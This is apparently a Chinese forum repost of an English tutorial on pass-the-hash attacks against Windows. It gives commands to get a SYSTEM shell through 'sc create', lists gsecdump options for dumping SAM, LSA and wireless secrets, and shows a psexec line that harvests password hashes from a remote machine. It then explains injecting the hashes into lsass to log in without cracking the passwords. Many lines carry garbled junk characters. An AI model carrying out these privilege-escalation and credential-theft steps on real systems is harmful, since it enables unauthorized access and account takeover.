HASH注入式攻击

admin

o get a DOS Prompt as NT system:

C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
[SC] CreateService SUCCESS

6 j' ~0 A6 u# g# C5 _' E( }# j+ dC:\>sc start shellcmdline
/ U, I4 e7 R& U: N! {5 D' _: R- A[SC] StartService FAILED 1053:
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7 q! v$ e) {% a: kThe service did not respond to the start or control request in a timely fashion.
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2 w* X/ `) }( Y& g# K" mC:\>sc delete shellcmdline
$ ~7 s( d! N+ ~/ l' d2 J% u. N: z( e[SC] DeleteService SUCCESS
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------------
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Then in the new DOS window:

Microsoft Windows XP [Version 5.1.2600]
# Z0 c$ @" v% j' r6 t( }(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>whoami
/ X' e/ c( K$ `- UNT AUTHORITY\SYSTEM
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C:\WINDOWS\system32>gsecdump -h
gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
) j  }6 J+ o8 G2 k2 J1 m. susage: gsecdump [options]
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+ G1 X. D" t3 A2 Foptions:
8 g/ k7 g( q* W4 J4 S-h [ --help ] show help
-a [ --dump_all ] dump all secrets
-l [ --dump_lsa ] dump lsa secrets
( ^" m: g* C. _* e5 G-w [ --dump_wireless ] dump microsoft wireless connections
5 g6 _" o6 d' G" l# n-u [ --dump_usedhashes ] dump hashes from active logon sessions
-s [ --dump_hashes ] dump hashes from SAM/AD

Although I like to use:
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/ @7 {( C6 u- m/ yPsExec v1.83 - Execute processes remotely
Copyright (C) 2001-2007 Mark Russinovich
Sysinternals - 链接标记[url]www.sysinternals.com[/url]

C:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT

1 h- n. Z6 u$ c+ P0 s! Jto get the hashes from active logon sessions of a remote system.

These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.
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5 \$ e1 m- I$ w) T  f提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]

我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。
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